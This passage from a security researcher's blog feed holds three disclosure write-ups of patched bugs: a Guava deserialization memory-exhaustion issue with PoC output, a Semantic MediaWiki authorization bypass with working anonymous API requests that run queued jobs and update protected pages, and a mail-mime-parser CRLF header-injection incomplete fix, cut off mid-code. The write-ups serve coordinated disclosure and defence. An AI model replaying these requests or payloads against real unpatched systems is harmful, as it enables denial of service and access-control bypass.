  <span class="n">init</span><span class="o">(</span><span class="n">elementCount</span><span class="o">);</span>
  <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">elementCount</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
    <span class="no">K</span> <span class="n">key</span> <span class="o">=</span> <span class="o">(</span><span class="no">K</span><span class="o">)</span> <span class="n">stream</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span>
    <span class="no">V</span> <span class="n">value</span> <span class="o">=</span> <span class="o">(</span><span class="no">V</span><span class="o">)</span> <span class="n">stream</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span>
    <span class="n">put</span><span class="o">(</span><span class="n">key</span><span class="o">,</span> <span class="n">value</span><span class="o">);</span>
  <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">init()</code> just stores the value, clamped only to an upper bound of <code class="language-plaintext highlighter-rouge">CompactHashing.MAX_SIZE</code> (2^30-1, roughly 1.07 billion):</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">init</span><span class="o">(</span><span class="kt">int</span> <span class="n">expectedSize</span><span class="o">)</span> <span class="o">{</span>
  <span class="nc">Preconditions</span><span class="o">.</span><span class="na">checkArgument</span><span class="o">(</span><span class="n">expectedSize</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="o">,</span> <span class="s">"Expected size must be &gt;= 0"</span><span class="o">);</span>
  <span class="k">this</span><span class="o">.</span><span class="na">metadata</span> <span class="o">=</span> <span class="nc">Ints</span><span class="o">.</span><span class="na">constrainToRange</span><span class="o">(</span><span class="n">expectedSize</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="nc">CompactHashing</span><span class="o">.</span><span class="na">MAX_SIZE</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The real allocation happens lazily, inside <code class="language-plaintext highlighter-rouge">allocArrays()</code>, which fires on the first <code class="language-plaintext highlighter-rouge">put()</code> call — after only one key/value pair has actually been read off the wire:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">allocArrays</span><span class="o">()</span> <span class="o">{</span>
  <span class="kt">int</span> <span class="n">expectedSize</span> <span class="o">=</span> <span class="n">metadata</span><span class="o">;</span>
  <span class="kt">int</span> <span class="n">buckets</span> <span class="o">=</span> <span class="nc">CompactHashing</span><span class="o">.</span><span class="na">tableSize</span><span class="o">(</span><span class="n">expectedSize</span><span class="o">);</span>
  <span class="k">this</span><span class="o">.</span><span class="na">table</span> <span class="o">=</span> <span class="nc">CompactHashing</span><span class="o">.</span><span class="na">createTable</span><span class="o">(</span><span class="n">buckets</span><span class="o">);</span>
  <span class="n">setHashTableMask</span><span class="o">(</span><span class="n">buckets</span> <span class="o">-</span> <span class="mi">1</span><span class="o">);</span>
  <span class="k">this</span><span class="o">.</span><span class="na">entries</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="o">[</span><span class="n">expectedSize</span><span class="o">];</span>
  <span class="k">this</span><span class="o">.</span><span class="na">keys</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[</span><span class="n">expectedSize</span><span class="o">];</span>
  <span class="k">this</span><span class="o">.</span><span class="na">values</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[</span><span class="n">expectedSize</span><span class="o">];</span>
  <span class="k">return</span> <span class="n">expectedSize</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">expectedSize</code> near <code class="language-plaintext highlighter-rouge">MAX_SIZE</code>, that single call allocates a hash table plus three <code class="language-plaintext highlighter-rouge">expectedSize</code>-length arrays — multiple gigabytes — after the stream has supplied exactly one small real element. <code class="language-plaintext highlighter-rouge">CompactHashSet</code> has the identical shape, and <code class="language-plaintext highlighter-rouge">CompactLinkedHashMap</code>/<code class="language-plaintext highlighter-rouge">CompactLinkedHashSet</code> inherit it from their parents.</p>

<p><code class="language-plaintext highlighter-rouge">MapMakerInternalMap</code> has a related but separately-triggered version of the same bug. Its serialization proxy reads an unvalidated <code class="language-plaintext highlighter-rouge">size</code> and <code class="language-plaintext highlighter-rouge">concurrencyLevel</code> from the stream and passes them into a <code class="language-plaintext highlighter-rouge">MapMaker</code>, which allocates its full segment table — sized from those two attacker-controlled numbers — before any real entry is read back.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Against the current release at the time (<code class="language-plaintext highlighter-rouge">guava:33.7.1-jre</code>), a 72-byte malicious stream containing one real <code class="language-plaintext highlighter-rouge">"A"</code> string element, with only its 4-byte declared-count field patched from <code class="language-plaintext highlighter-rouge">1</code> to <code class="language-plaintext highlighter-rouge">0x3FFFFFFF</code> (<code class="language-plaintext highlighter-rouge">CompactHashing.MAX_SIZE</code>), produces:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>### -Xmx8g (generous heap) ###
Declared elementCount: 1073741823 (~1.07 billion)
Real payload: 1 tiny string element ("A")
=== RESULT ===
Exception: java.lang.OutOfMemoryError: Java heap space
Time to allocate+fail: 4013 ms
Heap used after (at failure point): 4103 MB

### -Xmx128m (ordinary service heap) ###
=== RESULT ===
Exception: java.lang.OutOfMemoryError: Java heap space
Time to allocate+fail: 24 ms
</code></pre></div></div>

<p>A 72-byte input forces roughly 4.1 GB of real allocation before failing on an 8 GB heap, and crashes an ordinary 128 MB service heap in 24 milliseconds — over 50,000x amplification between input size and forced allocation. The <code class="language-plaintext highlighter-rouge">MapMakerInternalMap</code> variant behaves the same way: a 627-byte patched stream with a declared size of <code class="language-plaintext highlighter-rouge">Integer.MAX_VALUE</code> throws <code class="language-plaintext highlighter-rouge">OutOfMemoryError</code> in 30 milliseconds against a 128 MB heap, provided the map was constructed with an option (such as weak keys) that routes through Guava’s own internal map implementation rather than the JDK’s <code class="language-plaintext highlighter-rouge">ConcurrentHashMap</code> fast path.</p>

<h2 id="impact">Impact</h2>

<p>Any application that runs <code class="language-plaintext highlighter-rouge">ObjectInputStream.readObject()</code> on attacker-reachable data, with Guava anywhere on its classpath, can be crashed with a single payload of under a hundred bytes — regardless of what type the application itself expected to deserialize. This is a pure availability impact (CWE-770 / CWE-400): the vector is <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</code>, 5.9 (Medium).</p>

<h2 id="fix">Fix</h2>

<p>Guava 33.7.2 applies the same defense already present elsewhere in the codebase: the initial capacity used for the first allocation is capped to a small constant regardless of the stream’s declared count, and the backing storage grows incrementally as elements are actually read, rather than being sized up front to the full attacker-declared value.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-22</strong> — Reported to <code class="language-plaintext highlighter-rouge">google/guava</code> via GitHub private vulnerability reporting, covering <code class="language-plaintext highlighter-rouge">CompactHashMap</code>/<code class="language-plaintext highlighter-rouge">CompactHashSet</code> and, the same day, the related <code class="language-plaintext highlighter-rouge">MapMakerInternalMap</code> variant.</li>
  <li><strong>2026-09-29</strong> — Fixed in <strong>Guava 33.7.2</strong>; advisory <a href="https://github.com/google/guava/security/advisories/GHSA-xxph-c9ww-hj94">GHSA-xxph-c9ww-hj94</a> published and <strong>CVE-2026-102554</strong> assigned.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>The advisory is public at <a href="https://github.com/google/guava/security/advisories/GHSA-xxph-c9ww-hj94">GHSA-xxph-c9ww-hj94</a> / <a href="https://github.com/google/guava/security/advisories/GHSA-xxph-c9ww-hj94">CVE-2026-102554</a>. Guava already had the right pattern for this class of bug documented in its own source — <code class="language-plaintext highlighter-rouge">HashBiMap</code>’s “resist hostile attempts to allocate gratuitous heap” comment predates this report by years. The gap was that three other Serializable collection types, added at different times by different authors, never inherited that same discipline.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">SemanticMediaWiki’s smwtask Authorization Fix Left Anonymous Callers Running Queued Jobs</title><link href="https://kearikan.com/writeups/semanticmediawiki-smwtask-incomplete-authorization/" rel="alternate" type="text/html" title="SemanticMediaWiki’s smwtask Authorization Fix Left Anonymous Callers Running Queued Jobs" /><published>2026-09-28T00:00:00+00:00</published><updated>2026-09-28T00:00:00+00:00</updated><id>https://kearikan.com/writeups/semanticmediawiki-smwtask-incomplete-authorization</id><content type="html" xml:base="https://kearikan.com/writeups/semanticmediawiki-smwtask-incomplete-authorization/"><![CDATA[<h2 id="summary">Summary</h2>

<p>Semantic MediaWiki’s <code class="language-plaintext highlighter-rouge">api.php?action=smwtask</code> endpoint backs the maintenance operations behind <code class="language-plaintext highlighter-rouge">Special:SMWAdmin</code>. A first advisory, <a href="https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8">GHSA-jr78-w6w5-m8f8</a> (High, 7.3), reported that the module performed no authorization check at all, so any unauthenticated visitor could reach those operations. Release 7.3.0 fixed it by making every task declare the MediaWiki right it requires, checked before the task runs, with a fail-closed <code class="language-plaintext highlighter-rouge">smw-admin</code> default.</p>

<p>The fix closed the four administrator tasks, but it assigned the <code class="language-plaintext highlighter-rouge">edit</code> right to three of the operations the advisory itself described as administrator-only: <code class="language-plaintext highlighter-rouge">update</code>, <code class="language-plaintext highlighter-rouge">check-query</code>, and <code class="language-plaintext highlighter-rouge">run-joblist</code>. On a stock MediaWiki, <code class="language-plaintext highlighter-rouge">edit</code> is a right that <em>anonymous</em> users hold. Nothing else in the module excludes an anonymous caller. So the reported class was only half-closed: a completely unauthenticated caller could still run arbitrary queued jobs and force semantic-store updates on pages protected to <code class="language-plaintext highlighter-rouge">sysop</code>. This is <a href="https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-rjqv-6r83-pg8v">GHSA-rjqv-6r83-pg8v</a>, fixed in 7.3.1.</p>

<h2 id="background">Background</h2>

<p>The 7.3.0 fix (commit <code class="language-plaintext highlighter-rouge">7c65baf61</code>) added an authorization gate to <code class="language-plaintext highlighter-rouge">src/MediaWiki/Api/Task.php</code>: each task now declares the right it needs via <code class="language-plaintext highlighter-rouge">Task::getRequiredPermission()</code>, defaulting to <code class="language-plaintext highlighter-rouge">smw-admin</code>, and the module calls <code class="language-plaintext highlighter-rouge">checkUserRightsAny()</code> with that right before running. The base class defaults fail-closed to <code class="language-plaintext highlighter-rouge">smw-admin</code>, and exactly four tasks override it:</p>

<table>
  <thead>
    <tr>
      <th>Task</th>
      <th>Declared right</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">update</code></td>
      <td><code class="language-plaintext highlighter-rouge">edit</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">check-query</code></td>
      <td><code class="language-plaintext highlighter-rouge">edit</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">run-joblist</code></td>
      <td><code class="language-plaintext highlighter-rouge">edit</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">run-entity-examiner</code></td>
      <td><code class="language-plaintext highlighter-rouge">read</code></td>
    </tr>
  </tbody>
</table>

<p>The in-code justification for the <code class="language-plaintext highlighter-rouge">edit</code> tasks is that they are <em>“triggered by post-edit processing for the user who just saved the page.”</em> That describes the legitimate caller — the post-edit JavaScript calls <code class="language-plaintext highlighter-rouge">run-joblist</code> with the job map the server rendered for the page just saved — but the API does not restrict itself to that caller or that map. It accepts whatever a client sends.</p>

<h2 id="why-edit-is-not-a-gate-for-anonymous-callers">Why <code class="language-plaintext highlighter-rouge">edit</code> is not a gate for anonymous callers</h2>

<p>On a default MediaWiki install, an anonymous request already carries everything the <code class="language-plaintext highlighter-rouge">edit</code>-level tasks check. Verified live against a stock MediaWiki 1.43.9 with no extra configuration:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api.php?action=query&amp;meta=userinfo&amp;uiprop=rights      (no cookies)
-&gt; rights: ["createaccount","read","edit","createpage","createtalk", ...]

GET /api.php?action=query&amp;meta=tokens&amp;type=csrf            (no cookies)
-&gt; csrftoken: "+\"                       # the fixed, public anonymous token

POST /api.php action=edit&amp;title=Main_Page&amp;token=+\         (no cookies)
-&gt; {"edit":{"result":"Success", ...}}     # anonymous editing is on by default
</code></pre></div></div>

<p>The one right that sounds like it should gate write APIs — <code class="language-plaintext highlighter-rouge">writeapi</code> — is not the anonymous list, but it is also irrelevant: MediaWiki deprecated <code class="language-plaintext highlighter-rouge">writeapi</code> in 1.32 and core no longer enforces it anywhere. <code class="language-plaintext highlighter-rouge">mustBePosted()</code>, <code class="language-plaintext highlighter-rouge">needsToken('csrf')</code>, and <code class="language-plaintext highlighter-rouge">isWriteMode()</code> do not gate on group membership either. So the three <code class="language-plaintext highlighter-rouge">edit</code>-level tasks are reachable by a caller with no account and no cookies, using the fixed public token <code class="language-plaintext highlighter-rouge">+\</code>.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">run-joblist</code> pops and runs jobs from a map the caller supplies, and never validates that map against anything:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/MediaWiki/Api/Tasks/JobListTask.php</span>
<span class="nv">$subject</span> <span class="o">=</span> <span class="nc">WikiPage</span><span class="o">::</span><span class="nf">doUnserialize</span><span class="p">(</span> <span class="nv">$parameters</span><span class="p">[</span><span class="s1">'subject'</span><span class="p">]</span> <span class="p">);</span>
<span class="nv">$title</span> <span class="o">=</span> <span class="nv">$subject</span><span class="o">-&gt;</span><span class="nf">getTitle</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span> <span class="nv">$title</span> <span class="o">===</span> <span class="kc">null</span> <span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'done'</span> <span class="o">=&gt;</span> <span class="kc">false</span> <span class="p">];</span> <span class="p">}</span>   <span class="c1">// subject is only a null-guard</span>
<span class="nv">$jobList</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">if</span> <span class="p">(</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$parameters</span><span class="p">[</span><span class="s1">'jobs'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="nv">$jobList</span> <span class="o">=</span> <span class="nv">$parameters</span><span class="p">[</span><span class="s1">'jobs'</span><span class="p">];</span> <span class="p">}</span>   <span class="c1">// fully caller-controlled</span>
<span class="nv">$log</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">jobQueue</span><span class="o">-&gt;</span><span class="nf">runFromQueue</span><span class="p">(</span> <span class="nv">$jobList</span> <span class="p">);</span>
<span class="k">return</span> <span class="p">[</span> <span class="s1">'done'</span> <span class="o">=&gt;</span> <span class="kc">true</span><span class="p">,</span> <span class="s1">'log'</span> <span class="o">=&gt;</span> <span class="nv">$log</span> <span class="p">];</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">runFromQueue()</code> then pops and runs whatever job types the caller named, in whatever count the caller asked for:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">foreach</span> <span class="p">(</span> <span class="nv">$list</span> <span class="k">as</span> <span class="nv">$type</span> <span class="o">=&gt;</span> <span class="nv">$amount</span> <span class="p">)</span> <span class="p">{</span>
    <span class="k">while</span> <span class="p">(</span> <span class="nv">$amount</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
        <span class="nv">$j</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">jobQueueGroup</span><span class="o">-&gt;</span><span class="nf">get</span><span class="p">(</span> <span class="nv">$type</span> <span class="p">)</span><span class="o">-&gt;</span><span class="nf">pop</span><span class="p">();</span>   <span class="c1">// any registered job class</span>
        <span class="nv">$j</span><span class="o">-&gt;</span><span class="nf">run</span><span class="p">();</span>
        <span class="nv">$log</span><span class="p">[</span><span class="nv">$type</span><span class="p">][]</span> <span class="o">=</span> <span class="nv">$j</span><span class="o">-&gt;</span><span class="nf">getTitle</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">getPrefixedDBKey</span><span class="p">();</span>
        <span class="nv">$amount</span><span class="o">--</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">subject</code> parameter is used only as a null-guard; it is never cross-checked against the jobs the caller wants popped. <code class="language-plaintext highlighter-rouge">$amount</code> is unbounded, and the type string is not validated against a set. The response returns the page titles of the jobs it ran, which is a read primitive over the job queue.</p>

<p><code class="language-plaintext highlighter-rouge">update</code> has the same shape. <code class="language-plaintext highlighter-rouge">UpdateTask::process()</code> deserialises the caller’s <code class="language-plaintext highlighter-rouge">subject</code>, builds a store-update job for that title, and runs it — checking the global <code class="language-plaintext highlighter-rouge">edit</code> right, never the target page. So it re-runs the store update path for any title the caller names, including a <code class="language-plaintext highlighter-rouge">sysop</code>-protected page the caller cannot edit or even read.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>The lab is MediaWiki 1.43.9 plus Semantic MediaWiki 7.3.0 (the patched release), SQLite, no job-runner cron so queued jobs stay pending until something runs them. Every request below was sent with no cookies and the public anonymous token <code class="language-plaintext highlighter-rouge">+\</code>.</p>

<p>The four administrator tasks are correctly denied — the fix does work for them:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api.php action=smwtask&amp;task=insert-job&amp;params={...}&amp;token=+\      (no cookies)
-&gt; {"error":{"code":"permissiondenied","info":"You don't have permission to access
    Semantic MediaWiki administration tasks."}}
</code></pre></div></div>

<p>But the same anonymous caller runs a job that only an administrator could enqueue:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 1. administrator enqueues one job through the admin-only insert-job task
POST /api.php action=smwtask&amp;task=insert-job
     &amp;params={"subject":"Main Page#0##","job":"smw.parserCachePurgeJob"}    (Admin session)
-&gt; {"task":{"done":""}}
#    pending smw.parserCachePurgeJob rows in the job queue: 0 -&gt; 1

# 2. anonymous caller, no cookies, public token, runs it
POST /api.php action=smwtask&amp;task=run-joblist
     &amp;params={"subject":"Main Page#0##","jobs":{"smw.parserCachePurgeJob":1}}&amp;token=+\
-&gt; {"task":{"done":"","log":{"smw.parserCachePurgeJob":["Main_Page"]}}}
#    pending smw.parserCachePurgeJob rows in the job queue: 1 -&gt; 0
</code></pre></div></div>

<p>Arbitrary and even non-existent job types are accepted, in an unbounded count:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST .../task=run-joblist&amp;params={"subject":"Main Page#0##",
     "jobs":{"mediawiki.refreshLinks":100000}}&amp;token=+\
-&gt; {"task":{"done":"","log":{"mediawiki.refreshLinks":[]}}}         # no type validation
</code></pre></div></div>

<p>And <code class="language-plaintext highlighter-rouge">update</code> bypasses page-level protection:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># PoCProtected is protected: edit=sysop
POST /api.php action=edit&amp;title=PoCProtected&amp;text=x&amp;token=+\        (no cookies)
-&gt; {"error":{"code":"protectedpage", ...}}

POST /api.php action=smwtask&amp;task=update&amp;params={"subject":"PoCProtected#0##"}&amp;token=+\
-&gt; {"task":{"done":"","log":[]}}                                    # accepted and executed
</code></pre></div></div>

<h2 id="impact">Impact</h2>

<p>An unauthenticated attacker can drive the wiki to execute queued jobs on demand — including maintenance job types the administrator UI only <em>enqueues</em> behind <code class="language-plaintext highlighter-rouge">smw-admin</code> — synchronously inside the request and in arbitrary counts, which exhausts the application and database workers on a populated wiki. They can force full store updates for arbitrary titles, including pages they cannot edit or read, and they can read back the page titles attached to the jobs they ran. What makes this an incomplete fix rather than a regression is that the administrator half of the same capability is correctly denied: an anonymous caller cannot <em>enqueue</em> a maintenance job, but can still <em>run</em> any queued one.</p>

<p>The confidentiality and integrity impact stay low — titles, and store writes that only re-derive data from existing page content — so the vector mirrors the vendor’s own rating for this endpoint: <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</code> = 7.3 High.</p>

<h2 id="fix">Fix</h2>

<p>7.3.1 stops gating these tasks on a wiki-wide right and authorizes the caller against the specific page instead. Both <code class="language-plaintext highlighter-rouge">update</code> and <code class="language-plaintext highlighter-rouge">run-joblist</code> now implement <code class="language-plaintext highlighter-rouge">getAuthorizationSubject()</code>, returning the caller’s <code class="language-plaintext highlighter-rouge">subject</code> so the module checks page-level permission for that exact title rather than a global right an anonymous caller happens to hold:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// UpdateTask / JobListTask, 7.3.1</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getAuthorizationSubject</span><span class="p">(</span> <span class="kt">array</span> <span class="nv">$parameters</span> <span class="p">):</span> <span class="kt">?string</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nv">$parameters</span><span class="p">[</span><span class="s1">'subject'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">run-joblist</code> additionally constrains <em>which</em> jobs may run. A new <code class="language-plaintext highlighter-rouge">requestedWorkIsPermitted()</code> check rejects any job type outside the set the post-edit process itself emits, so a caller can no longer pop arbitrary queued jobs of its own choosing:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// JobListTask, 7.3.1</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">requestedWorkIsPermitted</span><span class="p">(</span> <span class="kt">array</span> <span class="nv">$parameters</span> <span class="p">):</span> <span class="kt">bool</span> <span class="p">{</span>
    <span class="nv">$requested</span> <span class="o">=</span> <span class="nv">$parameters</span><span class="p">[</span><span class="s1">'jobs'</span><span class="p">]</span> <span class="o">??</span> <span class="p">[];</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span> <span class="nv">$requested</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">true</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">return</span> <span class="nb">array_diff_key</span><span class="p">(</span> <span class="nv">$requested</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">allowedJobs</span> <span class="p">)</span> <span class="o">===</span> <span class="p">[];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That is a page-level authorization check plus an allowlist on the caller-supplied job map — closing both the protected-page bypass and the arbitrary-job-execution primitive. The legitimate post-edit flow, where the caller just saved the page it names, keeps working.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-22</strong> — Reported through GitHub private vulnerability reporting on <code class="language-plaintext highlighter-rouge">SemanticMediaWiki/SemanticMediaWiki</code>, as an incomplete-fix follow-up to GHSA-jr78-w6w5-m8f8, with an end-to-end PoC against the patched 7.3.0 release.</li>
  <li><strong>2026-09-28</strong> — Fixed in <strong>7.3.1</strong> and advisory <strong>GHSA-rjqv-6r83-pg8v</strong> published (High, 7.3, CWE-862), crediting the report.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>The advisory is public at <a href="https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-rjqv-6r83-pg8v">GHSA-rjqv-6r83-pg8v</a>. It is worth stressing what the original fix got right: making each task declare its required right, fail-closed to <code class="language-plaintext highlighter-rouge">smw-admin</code>, was the correct structure — the gap was purely in the right chosen for three tasks. <code class="language-plaintext highlighter-rouge">edit</code> reads like a sensible “must be a logged-in editor” gate, but on a default MediaWiki it is not a gate at all. When a fix maps a privileged operation onto a coarse platform right, the right’s real membership on a stock install — not its name — is what decides whether the fix holds.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">mail-mime-parser: CVE-2026-61815’s Fix Only Sanitized the Filename</title><link href="https://kearikan.com/writeups/mail-mime-parser-header-injection-incomplete-fix/" rel="alternate" type="text/html" title="mail-mime-parser: CVE-2026-61815’s Fix Only Sanitized the Filename" /><published>2026-09-28T00:00:00+00:00</published><updated>2026-09-28T00:00:00+00:00</updated><id>https://kearikan.com/writeups/mail-mime-parser-header-injection-incomplete-fix</id><content type="html" xml:base="https://kearikan.com/writeups/mail-mime-parser-header-injection-incomplete-fix/"><![CDATA[<h2 id="summary">Summary</h2>

<p>CVE-2026-61815 was a CRLF header-injection bug in <code class="language-plaintext highlighter-rouge">zbateson/mail-mime-parser</code>,
a widely used PHP MIME parser and builder: an attacker-influenced attachment
<strong>filename</strong> was interpolated straight into the <code class="language-plaintext highlighter-rouge">Content-Type</code> /
<code class="language-plaintext highlighter-rouge">Content-Disposition</code> headers of the part being built, so a filename
containing <code class="language-plaintext highlighter-rouge">\r\n</code> could forge additional header lines.</p>

<p>The fix for it (released in 3.0.6/3.0.7 and 4.0.2) sanitized the filename —
and only the filename. The very same header-building lines interpolate
several other caller-supplied string arguments verbatim. Those arguments —
<code class="language-plaintext highlighter-rouge">$mimeType</code>, <code class="language-plaintext highlighter-rouge">$encoding</code>, <code class="language-plaintext highlighter-rouge">$charset</code>, <code class="language-plaintext highlighter-rouge">$micalg</code>, <code class="language-plaintext highlighter-rouge">$protocol</code> — are all
reachable through the ordinary public message-building API, and a <code class="language-plaintext highlighter-rouge">\r\n</code> in
any of them still injects arbitrary header lines. The original impact
(forged <code class="language-plaintext highlighter-rouge">Bcc:</code>, header smuggling, MIME-structure confusion) survived the
patch through sibling arguments on the same code.</p>

<h2 id="background">Background</h2>

<p>The library builds outgoing MIME messages through public methods on
<code class="language-plaintext highlighter-rouge">IMessage</code>. Several of them take string arguments that get written directly
into part headers:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">addAttachmentPart()</code> / <code class="language-plaintext highlighter-rouge">addAttachmentPartFromFile()</code> — <code class="language-plaintext highlighter-rouge">$mimeType</code>, <code class="language-plaintext highlighter-rouge">$encoding</code></li>
  <li><code class="language-plaintext highlighter-rouge">setTextPart()</code> / <code class="language-plaintext highlighter-rouge">setHtmlPart()</code> — <code class="language-plaintext highlighter-rouge">$charset</code></li>
  <li><code class="language-plaintext highlighter-rouge">setAsMultipartSigned()</code> — <code class="language-plaintext highlighter-rouge">$micalg</code>, <code class="language-plaintext highlighter-rouge">$protocol</code></li>
</ul>

<p>Header assembly happens in <code class="language-plaintext highlighter-rouge">MultipartHelper</code>, which composes the header value
as a PHP interpolated string and hands it to <code class="language-plaintext highlighter-rouge">setRawHeader()</code> — a “raw”
setter that stores the line as given, without re-encoding it.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>CVE-2026-61815’s fix added a control-character filter, but scoped it to the
filename. The sanitized value is <code class="language-plaintext highlighter-rouge">$safe</code>; everything else on the same lines
is written raw:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// filename is run through a control-character filter -&gt; $safe</span>
<span class="nv">$converted</span> <span class="o">=</span> <span class="err">\</span><span class="nb">iconv</span><span class="p">(</span><span class="s1">'UTF-8'</span><span class="p">,</span> <span class="s1">'US-ASCII//translit//ignore'</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">);</span>
<span class="nv">$safe</span> <span class="o">=</span> <span class="err">\</span><span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'/[\x00-\x1F\x7F]+/'</span><span class="p">,</span> <span class="s1">' '</span><span class="p">,</span> <span class="p">(</span><span class="nv">$converted</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">)</span> <span class="o">?</span> <span class="nv">$converted</span> <span class="o">:</span> <span class="s1">''</span><span class="p">)</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>

<span class="c1">// ...but $mimeType / $charset / $encoding are interpolated verbatim:</span>
<span class="nv">$part</span><span class="o">-&gt;</span><span class="nf">setRawHeader</span><span class="p">(</span><span class="nc">HeaderConsts</span><span class="o">::</span><span class="no">CONTENT_TYPE</span><span class="p">,</span> <span class="s2">"</span><span class="nv">$mimeType</span><span class="s2">;</span><span class="se">\r\n\t</span><span class="s2">name=</span><span class="se">\"</span><span class="nv">$safe</span><span class="se">\"</span><span class="s2">"</span><span class="p">);</span>
<span class="nv">$mimePart</span><span class="o">-&gt;</span><span class="nf">setRawHeader</span><span class="p">(</span><span class="nc">HeaderConsts</span><span class="o">::</span><span class="no">CONTENT_TYPE</span><span class="p">,</span> <span class="s2">"</span><span class="nv">$mimeType</span><span class="s2">;</span><span class="se">\r\n\t</span><span class="s2">charset=</span><span class="se">\"</span><span class="nv">$charset</span><span class="se">\"</span><span class="s2">"</span><span class="p">);</span>
<span class="nv">$part</span><span class="o">-&gt;</span><span class="nf">setRawHeader</span><span class="p">(</span><span class="nc">HeaderConsts</span><span class="o">::</span><span class="no">CONTENT_TRANSFER_ENCODING</span><span class="p">,</span> <span class="nv">$encoding</span><span class="p">);</span>
